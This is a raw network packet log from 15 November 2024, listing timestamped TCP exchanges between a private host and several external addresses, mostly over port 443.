Nov 15, 2024 19:39:48.986007929 CET	49902	443	192.168.2.7	184.28.90.27
Nov 15, 2024 19:39:48.986032963 CET	443	49902	184.28.90.27	192.168.2.7
Nov 15, 2024 19:39:49.008711100 CET	443	49893	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.011009932 CET	49893	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.011060953 CET	443	49893	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.011065960 CET	443	49891	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.011461973 CET	49893	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.011468887 CET	443	49893	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.011701107 CET	49891	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.011744976 CET	443	49891	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.012221098 CET	49891	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.012234926 CET	443	49891	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.026108980 CET	443	49894	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.026468992 CET	49894	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.026513100 CET	443	49894	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.026870966 CET	49894	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.026878119 CET	443	49894	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.047465086 CET	443	49895	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.047919035 CET	49895	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.047964096 CET	443	49895	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.048597097 CET	49895	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.048613071 CET	443	49895	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.084922075 CET	443	49896	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.085289001 CET	49896	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.085316896 CET	443	49896	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.085700989 CET	49896	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.085710049 CET	443	49896	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.139962912 CET	443	49893	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.140047073 CET	443	49893	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.140119076 CET	49893	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.142132998 CET	443	49891	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.142200947 CET	443	49891	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.142268896 CET	49891	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.142806053 CET	49893	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.142806053 CET	49893	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.142857075 CET	443	49893	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.142887115 CET	443	49893	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.143155098 CET	49891	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.143155098 CET	49891	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.143203020 CET	443	49891	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.143230915 CET	443	49891	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.147166014 CET	49903	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.147206068 CET	443	49903	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.147255898 CET	49903	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.147644997 CET	49903	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.147659063 CET	443	49903	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.148374081 CET	49904	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.148416042 CET	443	49904	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.148467064 CET	49904	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.148574114 CET	49904	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.148585081 CET	443	49904	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.155900002 CET	443	49894	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.155930042 CET	443	49894	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.155971050 CET	49894	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.155977011 CET	443	49894	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.156022072 CET	49894	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.156303883 CET	49894	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.156326056 CET	443	49894	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.156341076 CET	49894	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.156347990 CET	443	49894	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.159296036 CET	49905	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.159387112 CET	443	49905	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.159461975 CET	49905	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.159576893 CET	49905	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.159595966 CET	443	49905	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.175245047 CET	443	49895	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.175528049 CET	443	49895	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.175584078 CET	49895	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.175862074 CET	49895	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.175894976 CET	443	49895	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.175920963 CET	49895	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.175935984 CET	443	49895	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.178656101 CET	49906	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.178669930 CET	443	49906	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.178730011 CET	49906	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.178849936 CET	49906	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.178859949 CET	443	49906	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.214108944 CET	443	49896	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.214262962 CET	443	49896	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.214324951 CET	49896	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.214719057 CET	49896	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.214728117 CET	443	49896	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.214739084 CET	49896	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.214744091 CET	443	49896	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.217751980 CET	49907	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.217765093 CET	443	49907	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.217813015 CET	49907	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.218204975 CET	49907	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.218219042 CET	443	49907	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.255800962 CET	443	49899	13.107.246.67	192.168.2.7
Nov 15, 2024 19:39:49.256042957 CET	49899	443	192.168.2.7	13.107.246.67
Nov 15, 2024 19:39:49.256055117 CET	443	49899	13.107.246.67	192.168.2.7
Nov 15, 2024 19:39:49.257320881 CET	443	49899	13.107.246.67	192.168.2.7
Nov 15, 2024 19:39:49.257392883 CET	49899	443	192.168.2.7	13.107.246.67
Nov 15, 2024 19:39:49.258438110 CET	49899	443	192.168.2.7	13.107.246.67
Nov 15, 2024 19:39:49.258503914 CET	443	49899	13.107.246.67	192.168.2.7
Nov 15, 2024 19:39:49.258620024 CET	49899	443	192.168.2.7	13.107.246.67
Nov 15, 2024 19:39:49.258626938 CET	443	49899	13.107.246.67	192.168.2.7
Nov 15, 2024 19:39:49.289165020 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.289463997 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.289485931 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.290927887 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.291074991 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.292812109 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.292812109 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.292834044 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.292906046 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.306638956 CET	49899	443	192.168.2.7	13.107.246.67
Nov 15, 2024 19:39:49.337308884 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.337330103 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.384216070 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.385706902 CET	443	49899	13.107.246.67	192.168.2.7
Nov 15, 2024 19:39:49.429768085 CET	49899	443	192.168.2.7	13.107.246.67
Nov 15, 2024 19:39:49.503241062 CET	443	49899	13.107.246.67	192.168.2.7
Nov 15, 2024 19:39:49.503272057 CET	443	49899	13.107.246.67	192.168.2.7
Nov 15, 2024 19:39:49.503317118 CET	49899	443	192.168.2.7	13.107.246.67
Nov 15, 2024 19:39:49.503334045 CET	443	49899	13.107.246.67	192.168.2.7
Nov 15, 2024 19:39:49.503381968 CET	49899	443	192.168.2.7	13.107.246.67
Nov 15, 2024 19:39:49.503386021 CET	443	49899	13.107.246.67	192.168.2.7
Nov 15, 2024 19:39:49.503390074 CET	49899	443	192.168.2.7	13.107.246.67
Nov 15, 2024 19:39:49.503407001 CET	443	49899	13.107.246.67	192.168.2.7
Nov 15, 2024 19:39:49.503436089 CET	49899	443	192.168.2.7	13.107.246.67
Nov 15, 2024 19:39:49.503447056 CET	443	49899	13.107.246.67	192.168.2.7
Nov 15, 2024 19:39:49.503458023 CET	443	49899	13.107.246.67	192.168.2.7
Nov 15, 2024 19:39:49.503465891 CET	49899	443	192.168.2.7	13.107.246.67
Nov 15, 2024 19:39:49.503488064 CET	49899	443	192.168.2.7	13.107.246.67
Nov 15, 2024 19:39:49.504307985 CET	443	49899	13.107.246.67	192.168.2.7
Nov 15, 2024 19:39:49.504328966 CET	443	49899	13.107.246.67	192.168.2.7
Nov 15, 2024 19:39:49.504367113 CET	49899	443	192.168.2.7	13.107.246.67
Nov 15, 2024 19:39:49.504369974 CET	443	49899	13.107.246.67	192.168.2.7
Nov 15, 2024 19:39:49.504391909 CET	49899	443	192.168.2.7	13.107.246.67
Nov 15, 2024 19:39:49.504396915 CET	443	49899	13.107.246.67	192.168.2.7
Nov 15, 2024 19:39:49.504430056 CET	49899	443	192.168.2.7	13.107.246.67
Nov 15, 2024 19:39:49.504457951 CET	49899	443	192.168.2.7	13.107.246.67
Nov 15, 2024 19:39:49.535984993 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.536048889 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.536072016 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.536113024 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.536133051 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.536151886 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.536154985 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.536154985 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.536154985 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.536183119 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.536202908 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.536202908 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.536690950 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.552398920 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.552458048 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.552512884 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.552522898 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.552544117 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.552612066 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.615350962 CET	49909	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.615379095 CET	443	49909	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.615591049 CET	49909	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.616055012 CET	49909	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.616075993 CET	443	49909	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.619853973 CET	443	49899	13.107.246.67	192.168.2.7
Nov 15, 2024 19:39:49.619926929 CET	443	49899	13.107.246.67	192.168.2.7
Nov 15, 2024 19:39:49.619929075 CET	49899	443	192.168.2.7	13.107.246.67
Nov 15, 2024 19:39:49.619956017 CET	443	49899	13.107.246.67	192.168.2.7
Nov 15, 2024 19:39:49.619985104 CET	49899	443	192.168.2.7	13.107.246.67
Nov 15, 2024 19:39:49.620003939 CET	49899	443	192.168.2.7	13.107.246.67
Nov 15, 2024 19:39:49.620059967 CET	443	49899	13.107.246.67	192.168.2.7
Nov 15, 2024 19:39:49.620105982 CET	49899	443	192.168.2.7	13.107.246.67
Nov 15, 2024 19:39:49.620111942 CET	443	49899	13.107.246.67	192.168.2.7
Nov 15, 2024 19:39:49.620162010 CET	49899	443	192.168.2.7	13.107.246.67
Nov 15, 2024 19:39:49.620220900 CET	443	49899	13.107.246.67	192.168.2.7
Nov 15, 2024 19:39:49.620290995 CET	49899	443	192.168.2.7	13.107.246.67
Nov 15, 2024 19:39:49.623295069 CET	49899	443	192.168.2.7	13.107.246.67
Nov 15, 2024 19:39:49.623302937 CET	443	49899	13.107.246.67	192.168.2.7
Nov 15, 2024 19:39:49.651521921 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.651572943 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.651658058 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.651871920 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.651907921 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.659766912 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.659825087 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.659862995 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.659893990 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.660326004 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.660326004 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.675066948 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.675147057 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.675247908 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.675247908 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.675256968 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.675868034 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.676693916 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.676737070 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.676779032 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.676784992 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.677340984 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.678399086 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.678462982 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.678513050 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.678524971 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.678559065 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.678559065 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.678638935 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.703222990 CET	443	49901	142.250.186.132	192.168.2.7
Nov 15, 2024 19:39:49.704906940 CET	49901	443	192.168.2.7	142.250.186.132
Nov 15, 2024 19:39:49.704971075 CET	443	49901	142.250.186.132	192.168.2.7
Nov 15, 2024 19:39:49.706403971 CET	443	49901	142.250.186.132	192.168.2.7
Nov 15, 2024 19:39:49.706518888 CET	49901	443	192.168.2.7	142.250.186.132
Nov 15, 2024 19:39:49.707770109 CET	49901	443	192.168.2.7	142.250.186.132
Nov 15, 2024 19:39:49.707856894 CET	443	49901	142.250.186.132	192.168.2.7
Nov 15, 2024 19:39:49.755615950 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:49.756515980 CET	49901	443	192.168.2.7	142.250.186.132
Nov 15, 2024 19:39:49.756581068 CET	443	49901	142.250.186.132	192.168.2.7
Nov 15, 2024 19:39:49.782999992 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.783056974 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.783099890 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.783113003 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.783139944 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.784329891 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.797849894 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.797903061 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.798012018 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.798019886 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.798054934 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.798563004 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.798614025 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.798636913 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.798661947 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.798662901 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.798698902 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.799124002 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.799638987 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.799679995 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.799719095 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.799726009 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.799824953 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.799824953 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.800658941 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.800710917 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.800812960 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.800812960 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.800823927 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.800903082 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.801778078 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.801820040 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.801922083 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.801922083 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.801940918 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.802578926 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.802618027 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.802669048 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.802669048 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.802679062 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.802696943 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.802763939 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.803221941 CET	49901	443	192.168.2.7	142.250.186.132
Nov 15, 2024 19:39:49.803803921 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.803803921 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.815727949 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.815814972 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.816076994 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.816076994 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.816164017 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.835989952 CET	443	49902	184.28.90.27	192.168.2.7
Nov 15, 2024 19:39:49.836174011 CET	49902	443	192.168.2.7	184.28.90.27
Nov 15, 2024 19:39:49.838983059 CET	49902	443	192.168.2.7	184.28.90.27
Nov 15, 2024 19:39:49.838989973 CET	443	49902	184.28.90.27	192.168.2.7
Nov 15, 2024 19:39:49.839291096 CET	443	49902	184.28.90.27	192.168.2.7
Nov 15, 2024 19:39:49.877310991 CET	49902	443	192.168.2.7	184.28.90.27
Nov 15, 2024 19:39:49.887563944 CET	443	49905	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.888478041 CET	49905	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.888478041 CET	49905	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.888528109 CET	443	49905	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.888556004 CET	443	49905	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.894378901 CET	443	49903	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.894656897 CET	49903	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.894673109 CET	443	49903	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.895004988 CET	49903	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.895009995 CET	443	49903	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.918596029 CET	443	49904	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.919343948 CET	49904	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.919343948 CET	49904	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.919354916 CET	443	49902	184.28.90.27	192.168.2.7
Nov 15, 2024 19:39:49.919362068 CET	443	49904	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.919370890 CET	443	49904	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.920541048 CET	443	49906	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.920833111 CET	49906	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.920847893 CET	443	49906	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.921135902 CET	49906	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.921139956 CET	443	49906	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.967721939 CET	443	49907	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.968558073 CET	49907	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.968558073 CET	49907	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:49.968605995 CET	443	49907	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:49.968628883 CET	443	49907	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.016021013 CET	443	49905	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.016134977 CET	443	49905	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.016326904 CET	49905	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.016326904 CET	49905	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.016669989 CET	49905	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.016688108 CET	443	49905	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.019186020 CET	49915	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.019284964 CET	443	49915	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.019575119 CET	49915	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.019821882 CET	49915	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.019860983 CET	443	49915	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.027880907 CET	443	49903	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.028049946 CET	443	49903	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.028357029 CET	49903	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.028357029 CET	49903	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.029196024 CET	49903	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.029210091 CET	443	49903	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.030523062 CET	49916	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.030611038 CET	443	49916	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.030807018 CET	49916	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.030807972 CET	49916	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.030893087 CET	443	49916	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.078150988 CET	443	49906	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.078187943 CET	443	49906	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.078238964 CET	443	49906	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.078444004 CET	49906	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.078444004 CET	49906	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.078963041 CET	49906	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.078978062 CET	443	49906	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.081213951 CET	49917	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.081264019 CET	443	49917	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.081490993 CET	49917	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.081552982 CET	49917	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.081568003 CET	443	49917	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.107290983 CET	443	49907	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.107502937 CET	443	49907	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.107775927 CET	49907	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.107775927 CET	49907	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.108006954 CET	49907	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.108022928 CET	443	49907	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.110788107 CET	49918	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.110893965 CET	443	49918	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.111144066 CET	49918	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.111145020 CET	49918	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.111231089 CET	443	49918	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:50.115781069 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:50.115797997 CET	443	49900	13.107.246.45	192.168.2.7
